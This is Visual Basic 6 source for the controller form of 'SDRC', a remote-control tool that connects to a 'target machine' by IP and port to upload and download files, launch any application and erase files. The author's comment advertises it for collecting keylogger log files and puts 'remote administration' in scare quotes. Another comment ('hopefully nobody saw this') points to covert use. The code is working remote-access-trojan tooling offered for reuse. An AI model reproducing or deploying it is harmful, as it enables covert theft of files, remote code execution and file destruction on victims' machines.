SDRC/Server/SDRCSfrm.frm
VERSION 5.00
Object = "{248DD890‑BB45‑11CF‑9ABC‑0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Begin VB.Form SDRCSfrm
BorderStyle = 1 'Fest Einfach
Caption = "SDRCServer"
ClientHeight = 3390
ClientLeft = 45
ClientTop = 330
ClientWidth = 6330
Icon = "SDRCSfrm.frx":0000
LinkTopic = "Form1"
MaxButton = 0 'False
ScaleHeight = 3390
ScaleWidth = 6330
StartUpPosition = 3 'Windows‑Standard
Begin VB.Frame SDRCFrame1
Caption = "Status"
BeginProperty Font
Name = "MS Sans Serif"
Size = 8.25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 675
Left = 120
TabIndex = 12
Top = 2160
Width = 6075
Begin VB.Label SDRCStatusLabel
Caption = "[...]"
BeginProperty Font
Name = "Arial"
Size = 8.25
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 195
Left = 120
TabIndex = 13
Top = 300
Width = 5835
End
End
Begin VB.CommandButton SDRCCancelCommand
Caption = "Stop"
Height = 375
Left = 5580
TabIndex = 4
Top = 720
Width = 675
End
Begin VB.Timer SDRCUpdateStatusTimer
Enabled = 0 'False
Interval = 500
Left = 120
Top = 2880
End
Begin VB.TextBox SDRCTaskParamTextEx
Height = 285
Left = 2640
TabIndex = 2
Top = 720
Width = 2835
End
Begin MSWinsockLib.Winsock MT3
Left = 600
Top = 2880
_ExtentX = 741
_ExtentY = 741
_Version = 393216
End
Begin VB.CommandButton SDRCDisconnectCommand
Caption = "Disconnect"
Height = 315
Left = 4320
TabIndex = 8
Top = 2940
Width = 1875
End
Begin VB.CommandButton SDRCConnectCommand
Caption = "Connect"
Height = 315
Left = 2280
TabIndex = 7
Top = 2940
Width = 1875
End
Begin VB.TextBox SDRCPortText
Height = 285
Left = 120
TabIndex = 6
Top = 1680
Width = 2295
End
Begin VB.TextBox SDRCOppositeIPText
Height = 285
Left = 120
TabIndex = 5
Top = 1200
Width = 2295
End
Begin VB.CommandButton SDRCOkCommand
Caption = "Ok"
Height = 375
Left = 5580
TabIndex = 3
Top = 180
Width = 675
End
Begin VB.TextBox SDRCTaskParamText
Height = 285
Left = 2640
TabIndex = 1
Top = 240
Width = 2835
End
Begin VB.ComboBox SDRCTaskTypeCombo
BeginProperty Font
Name = "Fixedsys"
Size = 9
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 345
Left = 120
Style = 2 'Dropdown‑Liste
TabIndex = 0
Top = 180
Width = 2415
End
Begin VB.Label SDRCWaitLabel
Caption = "Wait..."
BeginProperty Font
Name = "MS Sans Serif"
Size = 13.5
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 315
Left = 120
TabIndex = 11
Top = 720
Width = 2415
End
Begin VB.Label SDRCLabel2
Caption = "enter number of port to use for connection"
BeginProperty Font
Name = "Arial"
Size = 8.25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 195
Left = 2640
TabIndex = 10
Top = 1740
Width = 3615
End
Begin VB.Label SDRCLabel1
Caption = "enter current IP number of target machine"
BeginProperty Font
Name = "Arial"
Size = 8.25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 195
Left = 2640
TabIndex = 9
Top = 1260
Width = 3615
End
End
Attribute VB_Name = "SDRCSfrm"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit
'(c)2000, 2004 by Louis.
'
'Downloaded from www.louis‑coder.com.
'Add this form to any application that shall use the SDRC (Simple Direct Remote Control).
'When having connected to a client (actually a "server"), you can up‑ and download files,
'run any application on the target machine, erase files and receive the name of the
'Windows directory. You can use this functionality to catch keylogger logfiles,
'for 'remote administration' and so on.
'The SDRC Client is actually a server, and the SDRC Server is the client
'(not the official naming convention is used).
'
'SDRC constants
Const SDRC_TASK_FILE_UPLOAD As Integer = 2
Const SDRC_TASK_FILE_DOWNLOAD As Integer = 3
Const SDRC_TASK_START_APPLICATION As Integer = 4
Const SDRC_TASK_FILE_ERASE As Integer = 5
Const SDRC_TASK_GET_WINDIR As Integer = 6
Const SDRC_TASK_CONTINUE As Integer = 100
Const SDRC_TASK_STOP_FINISHED As Integer = 101
Const SDRC_TASK_STOP_ERROR As Integer = 102
Const SDRC_TASK_MESSAGE As Integer = 103
'FormatSDRCTaskStartSign
Dim SDRCTaskNumber As Integer
Dim SDRCTaskParam As String
'other
Dim CurrentSDRCTaskNumber As Integer
Dim CurrentSDRCTaskParam As String
Dim SDRCTaskContinueFlag As Boolean
Dim SDRCTaskAbortFlag As Boolean
Dim SDRCDataArrivalStringTotal As String
'***DEBUGGING CODE***
'***END OF DEBUGGING CODE***
Private Sub Form_Load()
'on error resume next
Call DefineVars
Call SDRCServerEnable
SDRCUpdateStatusTimer.Enabled = True
End Sub
Private Sub DefineVars()
'on error resume next
SDRCTaskTypeCombo.Clear 'reset
SDRCTaskTypeCombo.AddItem "file upload"
SDRCTaskTypeCombo.AddItem "file download"
SDRCTaskTypeCombo.AddItem "start application"
SDRCTaskTypeCombo.AddItem "file erase"
SDRCTaskTypeCombo.AddItem "get windir"
SDRCTaskTypeCombo.Text = SDRCTaskTypeCombo.List(0)
CurrentSDRCTaskNumber = 0 'reset
CurrentSDRCTaskParam = "" 'reset
End Sub
Private Sub SDRCUpdateStatusTimer_Timer()
'on error resume next
Select Case MT3.State
Case 0
SDRCStatusLabel.Caption = "Port closed."
Case 7
SDRCStatusLabel.Caption = "Connected with " + MT3.RemoteHostIP + ":" + LTrim$(Str$(MT3.RemotePort)) + "."
Case 9
SDRCStatusLabel.Caption = "Error."
Case Else
SDRCStatusLabel.Caption = "Please wait..."
End Select
End Sub
Private Sub SDRCServerEnable()
'on error resume next 'allow user action
SDRCTaskTypeCombo.Enabled = True
SDRCTaskParamText.Enabled = True
SDRCTaskParamTextEx.Enabled = True
SDRCOkCommand.Enabled = True
SDRCCancelCommand.Enabled = False
SDRCOppositeIPText.Enabled = True
SDRCPortText.Enabled = True
SDRCConnectCommand.Enabled = True
SDRCDisconnectCommand.Enabled = True
SDRCWaitLabel.Visible = False
End Sub
Private Sub SDRCServerDisable()
'on error resume next 'avoid user action
'NOTE: the SRemote‑subs must reenable SDRC.
SDRCTaskTypeCombo.Enabled = False
SDRCTaskParamText.Enabled = False
SDRCTaskParamTextEx.Enabled = False
SDRCOkCommand.Enabled = False
SDRCCancelCommand.Enabled = True
SDRCOppositeIPText.Enabled = False
SDRCPortText.Enabled = False
SDRCConnectCommand.Enabled = False
SDRCDisconnectCommand.Enabled = False
SDRCWaitLabel.Visible = True
End Sub
'************************************COMMAND CLICKS*************************************
Private Sub SDRCOkCommand_Click()
'on error resume next
'preset vars
SDRCTaskContinueFlag = False
SDRCTaskAbortFlag = False
'end of presetting vars
Select Case SDRCTaskTypeCombo.Text
Case "file upload"
Call SDRCServerDisable
Call SRemoteFileUpload(SDRCTaskParamText.Text, SDRCTaskParamTextEx.Text)
Case "file download"
Call SDRCServerDisable
Call SRemoteStartFileDownload(SDRCTaskParamText.Text, SDRCTaskParamTextEx.Text)
Case "start application"
Call SDRCServerDisable
Call SRemoteStartApplication(SDRCTaskParamText.Text)
Case "file erase"
Call SDRCServerDisable
Call SRemoteFileErase(SDRCTaskParamText.Text)
Case "get windir"
Call SDRCServerDisable
Call SRemoteGetWinDir
Case Else
'do nothing (error)
End Select
End Sub
Private Sub SDRCCancelCommand_Click()
'on error resume next
'abort local machine tasks
SDRCTaskAbortFlag = True
'abort target machine tasks
Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_ERROR, ""))
Call SDRCServerEnable
End Sub
Private Sub SDRCConnectCommand_Click()
On Error GoTo Error:
If Not (MT3.State = 0) Then
MT3.Close
DoEvents
End If
If SDRCCheckIPAndPort = True Then
If Not (MT3.State = 0) Then MT3.Close
MT3.Connect SDRCOppositeIPText.Text, Val(SDRCPortText.Text)
End If
Exit Sub
Error:
MsgBox "Winsock error (reload SDRC) !", vbOKOnly + vbExclamation, "Decrypt for SUCKR"
Exit Sub
End Sub
Private Sub SDRCDisconnectCommand_Click()
'on error resume next
Call MT3_Close
End Sub
'*********************************END OF COMMAND CLICKS*********************************
'*****************************************MT 3******************************************
Private Sub MT3_ConnectionRequest(ByVal RequestID As Long)
On Error Resume Next
If Not (MT3.State = 0) Then MT3.Close
MT3.Accept (RequestID)
End Sub
Private Sub MT3_DataArrival(ByVal bytesTotal As Long)
'on error resume next
Dim SDRCDataArrivalString As String
Dim MT3Temp As Long
'begin
MT3.GetData SDRCDataArrivalString
Debug.Print SDRCDataArrivalString
Redo:
'CUT OFF TASK START SIGN
'
'NOTE: although two task start signs were sent separately, the string returned
'by Winsock could be i.e. TASK<1|>TASK<2|>. The following code will set
'SDRCDataArrivalString to the next task start sign gotten out of the buffer string
'SDRCDataArrivalStringTotal.
'
SDRCDataArrivalStringTotal = SDRCDataArrivalStringTotal + SDRCDataArrivalString
If Mid$(SDRCDataArrivalStringTotal, 1, Len("SDRC TASK")) = "SDRC TASK" Then
For MT3Temp = 1 To Len(SDRCDataArrivalStringTotal)
If Mid$(SDRCDataArrivalStringTotal, MT3Temp, 1) = ">" Then
SDRCDataArrivalString = Mid$(SDRCDataArrivalStringTotal, 1, MT3Temp)
SDRCDataArrivalStringTotal = Right$(SDRCDataArrivalStringTotal, Len(SDRCDataArrivalStringTotal) ‑ MT3Temp)
Exit For
End If
Next MT3Temp
Else
SDRCDataArrivalString = SDRCDataArrivalStringTotal
SDRCDataArrivalStringTotal = "" 'reset
End If
'END OF CUTTING OFF TASK START SIGN
Select Case Mid$(SDRCDataArrivalString, 1, Len("SDRC TASK"))
Case "SDRC TASK"
Call FormatSDRCTaskStartSign(SDRCDataArrivalString)
Select Case SDRCTaskNumber
Case SDRC_TASK_CONTINUE
SDRCTaskContinueFlag = True
Case SDRC_TASK_STOP_ERROR
SDRCTaskAbortFlag = True
CurrentSDRCTaskNumber = 0 'reset
CurrentSDRCTaskParam = 0 'reset
Case SDRC_TASK_STOP_FINISHED
SDRCTaskContinueFlag = True
CurrentSDRCTaskNumber = 0 'reset
CurrentSDRCTaskParam = 0 'reset
Case SDRC_TASK_MESSAGE
If InStr(1, SDRCTaskParam, "error", vbTextCompare) = 0 Then
MsgBox SDRCTaskParam, vbOKOnly + vbInformation
Else
MsgBox SDRCTaskParam, vbOKOnly + vbExclamation
End If
Select Case SDRCTaskParam
Case "File has been downloaded." 'hopefully nobody saw this
Call SDRCServerEnable 'reset
End Select
Case Else
SDRCTaskAbortFlag = False 'reset
CurrentSDRCTaskNumber = SDRCTaskNumber 'may be 0 for error
CurrentSDRCTaskParam = SDRCTaskParam 'may be "" for error
Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_CONTINUE, ""))
End Select
Case Else
Call SDRCReceiveTaskData(CurrentSDRCTaskNumber, CurrentSDRCTaskParam, SDRCDataArrivalString)
End Select
'CUT OFF TASK START SIGN
SDRCDataArrivalString = "" 'reset (important)
If Not (SDRCDataArrivalStringTotal = "") Then GoTo Redo:
'END OF CUTTING OFF TASK START SIGN
End Sub
Private Sub SDRCSendData(ByRef SDRCData As String)
On Error Resume Next 'will send SDRCData string ONLY
If MT3.State = 7 Then 'verify
MT3.SendData SDRCData
'MT3.SendData (Chr$(13) + Chr$(10)) 'do not (!) send end sign
Debug.Print SDRCData
Else
Call MT3_Close
End If
End Sub
Private Function SDRCWaitForSDRC_TASK_CONTINUE() As Boolean
'on error resume next
Dim SDRCTemp As Long
'
'NOTE: this function returns True if SDRCOppositeIP sent back a
'SDRC_TASK_CONTINUE Task Start Sign within 30 seconds.
'
SDRCTaskContinueFlag = False 'reset
Do
Call GFWait(0.1)
If SDRCTaskAbortFlag = True Then
SDRCTaskAbortFlag = False 'reset
Exit Do 'error
End If
If SDRCTaskContinueFlag = True Then 'set in MT3_DataArrival()
SDRCWaitForSDRC_TASK_CONTINUE = True 'ok
Exit Function
End If
SDRCTemp = SDRCTemp + 1
If SDRCTemp = 300 Then Exit Do 'error
Loop
SDRCWaitForSDRC_TASK_CONTINUE = False 'error
Exit Function
End Function
Private Sub MT3_Close()
'on error resume next
If Not (MT3.State = 0) Then MT3.Close
End Sub
'**************************************END OF MT3***************************************
'*************************************SREMOTE CODE**************************************
'NOTE: to avoid name conflicts with NN99 Remote System code, the SUCKR Remote
'System code uses the prefix SRemote.
'NOTE: see developing notes for additional information.
Private Sub SDRCReceiveTaskData(ByVal CurrentSDRCTaskNumber As Integer, ByVal CurrentSDRCTaskParam As String, ByRef SDRCTaskData As String)
'on error resume next
Select Case CurrentSDRCTaskNumber
Case SDRC_TASK_FILE_UPLOAD
Call SRemoteFileUpload(CurrentSDRCTaskParam, SDRCTaskData)
Case SDRC_TASK_FILE_DOWNLOAD
Call SRemoteFileDownload(SDRCTaskParamTextEx.Text, SDRCTaskData)
Case Else
'do nothing (error)
End Select
End Sub
Private Sub SRemoteFileUpload(ByVal SRemoteFileUploadInputName As String, ByVal SRemoteFileUploadOutputName As String)
'on error resume Next
Dim BlockString As String
Dim BlockStringStartPos As Long
Dim BlockStringLength As Long
'verify
If (Dir(SRemoteFileUploadInputName) = "") Or (Right$(SRemoteFileUploadInputName, 1) = "\") Or (SRemoteFileUploadInputName = "") Then 'verify
MsgBox "Error during file upload: input file not found !", vbOKOnly + vbExclamation
Call SDRCServerEnable 'reset
Exit Sub
End If
If (SRemoteFileUploadOutputName = "") Then 'verify
MsgBox "Error during file upload: output file not found !", vbOKOnly + vbExclamation
Call SDRCServerEnable 'reset
Exit Sub
End If
'begin; erase output file
Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_FILE_ERASE, SRemoteFileUploadOutputName))
If SDRCWaitForSDRC_TASK_CONTINUE = False Then GoTo FileEraseError:
Call SDRCSendData(">>>") 'send anything to erase file
If SDRCWaitForSDRC_TASK_CONTINUE = False Then GoTo FileEraseError:
'upload file
Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_FILE_UPLOAD, SRemoteFileUploadOutputName))
If SDRCWaitForSDRC_TASK_CONTINUE = False Then GoTo Error:
Open SRemoteFileUploadInputName For Binary As #2
BlockStringStartPos = 1 'preset
Do
If BlockStringStartPos > LOF(2) Then Exit Do
BlockStringLength = 2048 'send file to download in 2kb blocks
If (LOF(2) ‑ BlockStringStartPos + 1) < BlockStringLength Then 'verify
BlockStringLength = (LOF(2) ‑ BlockStringStartPos + 1)
End If
BlockString = String$(BlockStringLength, Chr$(0))
Get #2, BlockStringStartPos, BlockString
'
Call SDRCSendData(BlockString)
If SDRCWaitForSDRC_TASK_CONTINUE = False Then GoTo Error:
'
BlockStringStartPos = BlockStringStartPos + BlockStringLength
Loop
Close #2
MsgBox "File has been uploaded.", vbOKOnly + vbInformation
Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_FINISHED, ""))
Call SDRCServerEnable 'reset
Exit Sub
Error:
Close #2 'make sure file is closed
MsgBox "Error during file upload !", vbOKOnly + vbExclamation
Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_ERROR, ""))
Call SDRCServerEnable 'reset
Exit Sub
FileEraseError:
Close #2 'make sure file is closed
MsgBox "Error during file upload: output file already exists on" + Chr$(10) + "target machine and cannot be overwritten !", vbOKOnly + vbExclamation
Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_ERROR, ""))
Call SDRCServerEnable 'reset
Exit Sub
End Sub
Private Sub SRemoteStartFileDownload(ByVal SRemoteFileDownloadInputName As String, ByVal SRemoteFileDownloadOutputName As String)
On Error Resume Next 'important
'verify
If (SRemoteFileDownloadInputName = "") Then 'verify
MsgBox "Error during file download: input file not found !", vbOKOnly + vbExclamation
Call SDRCServerEnable 'reset
Exit Sub
End If
If (SRemoteFileDownloadOutputName = "") Then 'verify
MsgBox "Error during file download: output file not found !", vbOKOnly + vbExclamation
Call SDRCServerEnable 'reset
Exit Sub
End If
'NOTE: on local machine the output file attribute is not changed.
If Not (Dir(SRemoteFileDownloadOutputName) = "") Then
Kill SRemoteFileDownloadOutputName
End If
'begin
If Not (Dir(SRemoteFileDownloadOutputName) = "") Then
GoTo FileEraseError:
Else
Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_FILE_DOWNLOAD, SRemoteFileDownloadInputName))
If SDRCWaitForSDRC_TASK_CONTINUE = False Then GoTo Error:
Call SDRCSendData(">>>") 'send anything to start file download
'If SDRCWaitForSDRC_TASK_CONTINUE = False Then GoTo Error:
'NOTE: the system now should call SRemoteFileDownload().
End If
Exit Sub
Error:
MsgBox "Error during file download !", vbOKOnly + vbExclamation
Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_ERROR, ""))
Call SDRCServerEnable 'reset
Exit Sub
FileEraseError:
MsgBox "Error during file download: output file already exists on" + Chr$(10) + "local machine and cannot be overwritten !", vbOKOnly + vbExclamation
Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_ERROR, ""))
Call SDRCServerEnable 'reset
Exit Sub
End Sub
Private Sub SRemoteFileDownload(ByVal SRemoteFileDownloadOutputName As String, ByRef SDRCTaskData As String)
On Error GoTo Error: 'important (if output file locked)
'verify
If (Right$(SRemoteFileDownloadOutputName, 1) = "\") Or (SRemoteFileDownloadOutputName = "") Then 'verify
GoTo Error:
End If
'begin
If Dir(SRemoteFileDownloadOutputName) = "" Then
'NOTE: the output file is created if not existing yet.
Open SRemoteFileDownloadOutputName For Output As #1
Close #1
End If
If Not ((Dir(SRemoteFileDownloadOutputName) = "") Or (Right$(SRemoteFileDownloadOutputName, 1) = "\") Or (SRemoteFileDownloadOutputName = "")) Then
Open SRemoteFileDownloadOutputName For Append As #1
Print #1, SDRCTaskData;
Close #1
Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_CONTINUE, ""))
Else
GoTo Error:
End If
Exit Sub
Error:
Close #1 'make sure file is closed
MsgBox "Error during file download !", vbOKOnly + vbExclamation
Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_ERROR, ""))
Call SDRCServerEnable 'reset
Exit Sub
End Sub
Private Sub SRemoteStartApplication(ByVal SRemoteStartApplicationName As String)
'on error resume next
Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_START_APPLICATION, SRemoteStartApplicationName))
If SDRCWaitForSDRC_TASK_CONTINUE = False Then GoTo Error:
Call SDRCSendData(">>>") 'send anything to start application
If SDRCWaitForSDRC_TASK_CONTINUE = False Then GoTo Error:
MsgBox "Application has been started.", vbOKOnly + vbInformation
Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_FINISHED, ""))
Call SDRCServerEnable 'reset
Exit Sub
Error:
MsgBox "Application could not be started !", vbOKOnly + vbExclamation
Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_ERROR, ""))
Call SDRCServerEnable 'reset
Exit Sub
End Sub
Private Sub SRemoteFileErase(ByVal SRemoteFileEraseName As String)
'on error resume next
Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_FILE_ERASE, SRemoteFileEraseName))
If SDRCWaitForSDRC_TASK_CONTINUE = False Then GoTo Error:
Call SDRCSendData(">>>") 'send anything to erase file
If SDRCWaitForSDRC_TASK_CONTINUE = False Then GoTo Error:
MsgBox "File has been erased.", vbOKOnly + vbInformation
Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_FINISHED, ""))
Call SDRCServerEnable 'reset
Exit Sub
Error:
MsgBox "Error erasing file !", vbOKOnly + vbExclamation
Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_ERROR, ""))
Call SDRCServerEnable 'reset
Exit Sub
End Sub
Private Sub SRemoteGetWinDir()
'on error resume next
Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_GET_WINDIR, ""))
If SDRCWaitForSDRC_TASK_CONTINUE = False Then GoTo Error:
Call SDRCSendData(">>>") 'send anything to get windir
If SDRCWaitForSDRC_TASK_CONTINUE = False Then GoTo Error:
Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_FINISHED, ""))
Call SDRCServerEnable 'reset
Exit Sub
Error:
MsgBox "Error getting WinDir !", vbOKOnly + vbExclamation
Call SDRCSendData(SDRCCreateTaskStartSign(SDRC_TASK_STOP_ERROR, ""))
Call SDRCServerEnable 'reset
Exit Sub
End Sub
Private Function SDRCCreateTaskStartSign(ByVal SDRCTaskTypeConstant As Integer, ByVal SDRCTaskParam As String) As String
'on error resume next 'similar to CreateRemoteMsgLine()
SDRCCreateTaskStartSign = "SDRC TASK" + "<" + LTrim$(Str$(SDRCTaskTypeConstant)) + "|" + SDRCTaskParam + ">"
End Function
'**********************************END OF SREMOTE CODE**********************************
'***********************************GENERAL FUNCTIONS***********************************
Private Function SDRCCheckIPAndPort() As Boolean 'copied from Decrypt for NN99 (11‑18‑2000)
On Error Resume Next 'returns True if entered data can be used for SDRC connection
Select Case VerifyIP(SDRCOppositeIPText.Text) 'function VerifyIP copied from NN99
Case True
SDRCCheckIPAndPort = True
Case False
SDRCCheckIPAndPort = False
MsgBox "Please enter a valid IP number !", vbCritical + vbOKOnly, "Decrypt for SUCKR (SDRC)"
Exit Function
End Select
Select Case VerifyPort(Val(SDRCPortText.Text)) 'function VerifyPort copied from NN99
Case True
SDRCCheckIPAndPort = True
Case False
SDRCCheckIPAndPort = False
MsgBox "Please enter a valid Port number (1 to 65535) !", vbCritical + vbOKOnly, "Decrypt for SUCKR (SDRC)"
Exit Function
End Select
End Function
Private Sub FormatSDRCTaskStartSign(ByVal SDRCTaskStartSign As String)
'on error resume next 'defines SDRCTask[Number/Param]; similar to FormatRemoteMsgLine()
Dim SDRCTemp As Long
For SDRCTemp = 1 To Len(SDRCTaskStartSign)
If Mid$(SDRCTaskStartSign, SDRCTemp, 1) = "<" Then
SDRCTaskStartSign = Right$(SDRCTaskStartSign, Len(SDRCTaskStartSign) ‑ SDRCTemp)
GoTo Jump1:
End If
Next SDRCTemp
GoTo Error:
Jump1:
For SDRCTemp = 1 To Len(SDRCTaskStartSign)
If Mid$(SDRCTaskStartSign, SDRCTemp, 1) = "|" Then
SDRCTaskNumber = Val(Left$(SDRCTaskStartSign, SDRCTemp ‑ 1))
SDRCTaskStartSign = Right$(SDRCTaskStartSign, Len(SDRCTaskStartSign) ‑ SDRCTemp)
GoTo Jump2:
End If
Next SDRCTemp
GoTo Error:
Jump2:
For SDRCTemp = 1 To Len(SDRCTaskStartSign)
If Mid$(SDRCTaskStartSign, SDRCTemp, 1) = ">" Then
SDRCTaskParam = Left$(SDRCTaskStartSign, SDRCTemp ‑ 1)
SDRCTaskStartSign = Right$(SDRCTaskStartSign, Len(SDRCTaskStartSign) ‑ SDRCTemp)
GoTo Jump3:
End If
Next SDRCTemp
GoTo Error:
Jump3:
Exit Sub
Error:
SDRCTaskNumber = 0 'reset (error)
SDRCTaskParam = "" 'reset (error)
Exit Sub
End Sub
Private Sub GFWait(ByVal WaitTime As Single) 'copied from NN99 (11‑18‑2000)
On Error Resume Next 'stays in DoEvents‑loop for WaitTime seconds, even if midnight is passed or OS time changed
Dim TimerUnchanged As Single
Dim TimerNew As Single
Dim TimerOld As Single
'preset
TimerUnchanged = Timer
Redo:
'verify
If WaitTime < 0 Then WaitTime = 0
If WaitTime > (60! * 60! * 24!) Then WaitTime = (60! * 60! * 24!)
'begin
TimerOld = GFWait_Timer(TimerUnchanged) 'preset (important)
TimerNew = GFWait_Timer(TimerUnchanged) + WaitTime
Do
If Abs(GFWait_Timer(TimerUnchanged) ‑ TimerOld) > 1! Then 'use Abs() to get 'distance'
WaitTime = WaitTime ‑ (TimerOld ‑ TimerUnchanged)
GoTo Redo: 'OS time changed by user
End If
If GFWait_Timer(TimerUnchanged) > TimerNew Then
Exit Do 'time to GFWait passed
End If
TimerOld = GFWait_Timer(TimerUnchanged)
DoEvents
Loop
End Sub
Private Function GFWait_Timer(ByVal TimerUnchanged As Single) As Single 'copied from NN99 (11‑18‑2000)
On Error Resume Next 'to be used by GFWait() only
If Not (Timer < TimerUnchanged) Then 'Timer may be equal to TimerUnchanged
GFWait_Timer = Timer
Else
GFWait_Timer = Timer + (60! * 60! * 24!)
End If
End Function
Private Function VerifyIP(ByVal IP As String) As Boolean
On Error Resume Next 'copied from Decrypt for NN99 (11‑18‑2000)
Dim VerifyIPStartPos As Byte
Dim VerifyIPPointNumber As Byte
Dim VerifyIPLoop As Byte
VerifyIP = False 'reset
VerifyIPStartPos = 1 'reset
IP = IP + Chr$(0) 'add end sign
Select Case Len(IP)
Case Is < 1
Exit Function
Case Is > 256
Exit Function
End Select
For VerifyIPLoop = 1 To Len(IP)
Select Case Mid$(IP, VerifyIPLoop, 1)
Case ".", Chr$(0)
If Not ((Val(Mid$(IP, VerifyIPStartPos, (VerifyIPLoop ‑ VerifyIPStartPos))) > 256) Or (Len(Mid$(IP, VerifyIPStartPos, (VerifyIPLoop ‑ VerifyIPStartPos))) > 3) Or (VerifyIPStartPos = VerifyIPLoop)) Then
VerifyIPPointNumber = VerifyIPPointNumber + 1
VerifyIPStartPos = VerifyIPLoop + 1
Else
Exit Function
End If
Case "1"
Case "2"
Case "3"
Case "4"
Case "5"
Case "6"
Case "7"
Case "8"
Case "9"
Case "0"
Case Else
Exit Function
End Select
Next VerifyIPLoop
If VerifyIPPointNumber = 4 Then
VerifyIP = True
Else
Exit Function
End If
End Function
Private Function VerifyPort(ByVal PortNumber As Long) As Boolean
On Error Resume Next 'copied from Decrypt for NN99 (11‑18‑2000)
If Not ((PortNumber < 0) Or (PortNumber > 65535)) Then
VerifyPort = True
Else
VerifyPort = False
End If
End Function
[END OF FILE]